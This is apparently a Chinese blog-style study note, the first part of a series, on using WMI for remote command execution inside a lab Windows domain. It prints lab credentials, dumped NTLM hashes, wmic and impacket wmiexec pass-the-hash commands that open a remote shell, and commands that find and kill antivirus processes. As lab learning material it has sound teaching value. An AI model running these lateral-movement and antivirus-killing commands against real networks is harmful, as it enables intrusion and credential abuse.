WMI使用学习笔记(上)

简介: WMI使用学习笔记

1. WMI介绍


WMI的全名为"Windows Management Instrumentation"。

win98开始,Windows操作系统都支持WMIWMI可以在本地或者远程管理计算机系统。比如:重启,关机,关闭进程,创建进程等。

具体可以参考:https://docs.microsoft.com/zh-cn/windows/win32/wmisdk/using-wmi


2. 环境准备


2.1 环境拓扑


2.1 账号信息


Windows7
• • 账号: user02\crow
• • 密码:Admin@123
Windows Server2008
• • 账号:user03\administrator
• • 密码:Admin@admin
Windows Server2019
• • 账号:crow\administrator
• • 密码:Admin@admin
hash信息
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:82e5d5062f762c89c5d1ace3177becad:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:87b0a2e198df7fbfc945b3210c7cd86c:::
crow:1000:aad3b435b51404eeaad3b435b51404ee:82e5d5062f762c89c5d1ace3177becad:::
test:1106:aad3b435b51404eeaad3b435b51404ee:e45a314c664d40a227f9540121d1a29d:::
USER01$:1001:aad3b435b51404eeaad3b435b51404ee:7d95b2ff3d77850d49fcb63362f44156:::
USER02$:1104:aad3b435b51404eeaad3b435b51404ee:0d7e21bbdb31c5a26b934fe90040f08b:::
USER03$:1105:aad3b435b51404eeaad3b435b51404ee:b4853be788d2fdface8207ddf5ce2716:::

本文的环境均在域内进行操作,以上环境中均无杀软。


3. WMI常用命令


以下操作均在win7上执行。


3.1 WMI连接


首先我们执行如下命令,将输出结果保存在靶机winserver2008对应的C:\Windows\Temp目录下:

wmic /node:192.168.135.15 /user:administrator /password:Admin@admin process call create "cmd.exe /c whoami > C:\Windows\Temp\shell.txt"

此时在winserver08上已经出了结果,但是在win7上如何去查看呢?在这里还是需要IPC$来执行命令:

首先是建立连接:

net use \\192.168.135.15\ipc$  /u:"administrator"  "Admin@admin"

然后查看下刚生成的文件:

type \\192.168.135.15\c$\windows\temp\shell.txt

在获取cmd之后,其实是可以进行任意操作的,但是由于wmic的隐蔽性更好,所以在这里可以使用wmic的命令来进行操作。


3.2 进程管理


参考于:https://mp.weixin.qq.com/s/0Nu8QQG99RNlB8HdlQgQsw

wmic process list brief    #列出所有进程,Full显示所有、Brief显示摘要、Instance显示实例、Status显示状态
wmic process get name,executablepath                           #获取所有进程名称以及可执行路径
wmic process where name="jqs.exe" get executablepath            #获取指定进程可执行路径
wmic process call create "C:\Program Files\Tencent\QQ\QQ.exe"   #创建新进程
wmic process call create "shutdown.exe -r -f -t 60"             #根据命令创建进程
wmic process where name="qq.exe" delete                    #根据进程名称删除进程
wmic process where pid="123" delete                        #根据PID删除进程


3.3 账号管理


参考于:https://mp.weixin.qq.com/s/0Nu8QQG99RNlB8HdlQgQsw

WMIC USERACCOUNT where "name='%UserName%'" call rename newUserName  #更改当前用户名


3.4 共享管理


参考于:https://mp.weixin.qq.com/s/0Nu8QQG99RNlB8HdlQgQsw

#建立共享
WMIC SHARE CALL Create "","test","3","TestShareName","","c:\test",0
(可使用 WMIC SHARE CALL Create /? 查看create后的参数类型)
#删除共享
WMIC SHARE where name="C$" call delete
WMIC SHARE where path='c:\test' delete


3.5 服务管理


参考于:https://mp.weixin.qq.com/s/0Nu8QQG99RNlB8HdlQgQsw

#更改telnet服务启动类型[Auto|Disabled|Manual]
wmic SERVICE where name="tlntsvr" set startmode="Auto"
#运行telnet服务
wmic SERVICE where name="tlntsvr" call startservice
#停止ICS服务
wmic SERVICE where name="ShardAccess" call stopservice
#删除test服务
wmic SERVICE where name="test" call delete


3.6 目录管理


参考于:https://mp.weixin.qq.com/s/0Nu8QQG99RNlB8HdlQgQsw

#列出c盘下名为test的目录
wmic FSDIR where "drive='c:' and filename='test'" list
#删除c:\good文件夹
wmic fsdir "c:\test" call delete
#重命名c:\test文件夹为abc
wmic fsdir "c:\test" rename "c:\abc"
wmic fsdir where (name='c:\test') rename "c:\abc"
#复制文件夹
wmic fsdir where name='d:\test' call copy "c:\test"
#重命名文件
wmic datafile "c:\test.txt" call rename c:\abc.txt


3.7 计划任务


参考于:https://mp.weixin.qq.com/s/0Nu8QQG99RNlB8HdlQgQsw

wmic job call create "notepad.exe",0,0,true,false,********154800.000000+480
wmic job call create "explorer.exe",0,0,1,0,********154600.000000+480


3.8 WMIC管理wmi


参考于:https://mp.weixin.qq.com/s/RpSVKEiYaldAWekBcDzhfA

wmic logon list brief #登录⽤户
wmic ntdomain list brief #域控机器
wmic useraccount list brief #⽤户列表
wmic share get name,path #查看系统共享
wmic service list brief |more #服务列表
wmic startup list full #识别开机启动的程序,包括路径
wmic fsdir "c:\\test" call delete #删除C盘下的test目录
wmic nteventlog get path,filename,writeable #查看系统中开启的⽇志
wmic nicconfig get ipaddress,macaddress #查看系统中⽹卡的IP地址和MAC地址
wmic qfe get description,installedOn #使⽤wmic识别安装到系统中的补丁情况
wmic product get name,version #查看系统中安装的软件以及版本,2008R2上执行后无反应。
wmic useraccount where "name='%UserName%'" call rename newUserName #更改当前用户名
wmic useraccount where "name='Administrator'" call Rename admin #更改指定用户名
wmic bios list full | findstr /i "vmware" #查看当前系统是否是VMWARE,可以按照实际情况进行筛选
wmic desktop get screensaversecure,screensavertimeout #查看当前系统是否有屏保保护,延迟是多少
wmic process where name="vmtoolsd.exe" get executablepath #获取指定进程可执行文件的路径
wmic environment where "name='temp'" get UserName,VariableValue #获取temp环境变量
###查询当前主机的杀毒软件
wmic process where "name like '%forti%'" get name
wmic process where name="FortiTray.exe" call terminate
wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState,pathToSignedProductExe
wmic /namespace:\\root\securitycenter2 path antispywareproduct GET displayName,productState, pathToSignedProductExe & wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe
wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
###
###查询windows机器版本和服务位数和.net版本
wmic os get caption
wmic os get osarchitecture
wmic OS get Caption,CSDVersion,OSArchitecture,Version
wmic product where "Name like 'Microsoft .Net%'" get Name, Version
###
###查询本机所有盘符
wmic logicaldisk list brief
wmic logicaldisk get description,name,size,freespace /value
###
###卸载和重新安装程序
wmic product where "name like '%Office%'" get name
wmic product where name="Office" call uninstall
###
### 查看某个进程的详细信息 (路径,命令⾏参数等)
wmic process where name="chrome.exe" list full
wmic process where name="frp.exe" get executablepath,name,ProcessId   进程路径
wmic process where caption="frp.exe" get caption,commandline /value
###
### 更改PATH环境变量值,新增c:\whoami
wmic environment where "name='path' and username='<system>'" set VariableValue="%path%;c:\whoami
###
### 查看某个进程的详细信息-PID
wmic process list brief
tasklist /SVC | findstr frp.exe
wmic process where ProcessId=3604 get ParentProcessId,commandline,processid,executablepath,name,CreationClassName,CreationDate
###
### 终⽌⼀个进程
wmic process where name ="xshell.exe" call terminate
ntsd -c q -p 进程的PID
taskkill -im pid
###
###获取电脑产品编号和型号信息
wmic baseboard get Product,SerialNumber
wmic bios get serialnumber
###
###安装软件
wmic product get name,version
wmic product list brief


3.9 Powershell操作wmi


参考于:https://mp.weixin.qq.com/s/RpSVKEiYaldAWekBcDzhfA

Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Share  #共享
Get-WmiObject -Namespace ROOT\CIMV2 -Class CIM_DataFile #⽂件/⽬录列表
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Volume #磁盘卷列表
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Process #当前进程
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Service #列举服务
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_NtLogEvent #⽇志
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_LoggedOnUser #登陆账户
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_QuickFixEngineering #补丁
Get-WmiObject -Namespace root\SecurityCenter2 -Class AntiVirusProduct #杀毒软件
###操作系统相关信息
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_OperatingSystem
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_ComputerSystem
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_BIOS
###
###注册表操作
Get-WmiObject -Namespace ROOT\DEFAULT -Class StdRegProv
Push-Location HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Get-ItemProperty OptionalComponents


4. impacket中的wmiexec.py


Impacket是一个Python类库,用于对SMB1-3或IPv4 / IPv6 上的TCP、UDP、ICMP、IGMP,ARP,IPv4,IPv6,SMB,MSRPC,NTLM,Kerberos,WMI,LDAP等协议进行低级编程访问。

地址:https://github.com/SecureAuthCorp/impacket


4.1 安装方法


git clone https://github.com/CoreSecurity/impacket.git
cd impacket/
pip3 install -r requements.txt
python3 setup.py install
如果在mac上,需要使用sudo python3 setup.py install



4.2 wmiexec.py使用方法


cd example

445端口未开启的时候:


4.2.1 有账号密码


如果有账号和密码的情况下:

# python3 wmiexec.py 用户名:密码@目标IP
python3 wmiexec.py administrator:Admin@admin@192.168.135.15


在这里注意到当前有一个SMBv2.1 dialect used,这个的原因主要是该工具的使用条件是需要 445135 和高位随机的一个端口都允许通信。

用不用445端口取决于是否将结果返回,如果写注册表的话,就不需要返回,也就不需要445端口,sharpwmi 这个项⽬不依赖139445端⼝,但是还需要依赖 135 端⼝。


4.2.2 只有Hash的情况下


python3 wmiexec.py -hashes LM Hash:NT Hash 域名/用户名@目标IP    // 哈希传递获得shell
python3 wmiexec.py -hashes LM Hash:NT Hash 域名/用户名@目标IP "ipconfig"   // 执行命令
winserver08的hash信息
 [00000003] Primary
     * Username : Administrator
     * Domain   : USER03
     * LM       : d961cd0d7b411ca6e3fde35124ff2ad4
     * NTLM     : 82e5d5062f762c89c5d1ace3177becad
     * SHA1     : 4d7907fd1725cd4cf373bbe0a7d88af708752a8b
python3 wmiexec.py -hashes d961cd0d7b411ca6e3fde35124ff2ad4:82e5d5062f762c89c5d1ace3177becad user03/Administrator@192.168.135.15

当然,在这里也可以不加域信息:

python3 wmiexec.py -hashes d961cd0d7b411ca6e3fde35124ff2ad4:82e5d5062f762c89c5d1ace3177becad Administrator@192.168.135.15


5. wmiexec.exe


wmiexec可以理解为wmiexec.py的exe版本,下载地址为:https://github.com/maaaaz/impacket-examples-windows

当然,理论上来说,我们也可以自行编译,后续有机会的话,到时候再看下。

使用方法与wmiexec.py一模一样:


5.2.1 有账号密码

如果有账号和密码的情况下,在win7上操作winserver08

wmiexec.exe 用户名:密码@目标IP
wmiexec.exe administrator:Admin@admin@192.168.135.15

相关文章
|
19天前
|
人工智能 监控 安全
掌握Windows管理利器:WMI命令实战
本文介绍了Windows Management Instrumentation (WMI) 的基本概念和用途,通过多个实用的`wmic`命令示例,如获取CPU信息、查看操作系统详情、管理服务、检查磁盘空间等,展示了WMI在系统维护中的强大功能。适合IT专业人士学习和参考。
|
2月前
|
JavaScript 前端开发 API
MASM32编程通过WMI获取Windows计划任务
MASM32编程通过WMI获取Windows计划任务
|
安全 Shell Windows
WMI使用学习笔记(下)
WMI使用学习笔记
190 0
|
存储 网络协议 API
WMI介绍和实例使用
Windows Management Instrumentation 大多会被翻译为“Windows管理规范”,Instrumentation 含义为仪器仪表、器乐谱写等......
402 0
WMI介绍和实例使用
|
网络协议 API C#
C#使用访问WMI的接口获取计算机硬件和操作系统信息,WMI代码生成器介绍【ManagementObjectSearcher、ManagementClass】
ManagementObjectSearcher 用于获取基于指定查询的管理对象集合。是获取管理信息最常用的入口点。例如,可以遍历所有的硬盘驱动、网络适配器、进程和系统上的其他管理对象,或者...
1105 0
C#使用访问WMI的接口获取计算机硬件和操作系统信息,WMI代码生成器介绍【ManagementObjectSearcher、ManagementClass】
|
Windows 开发工具 C#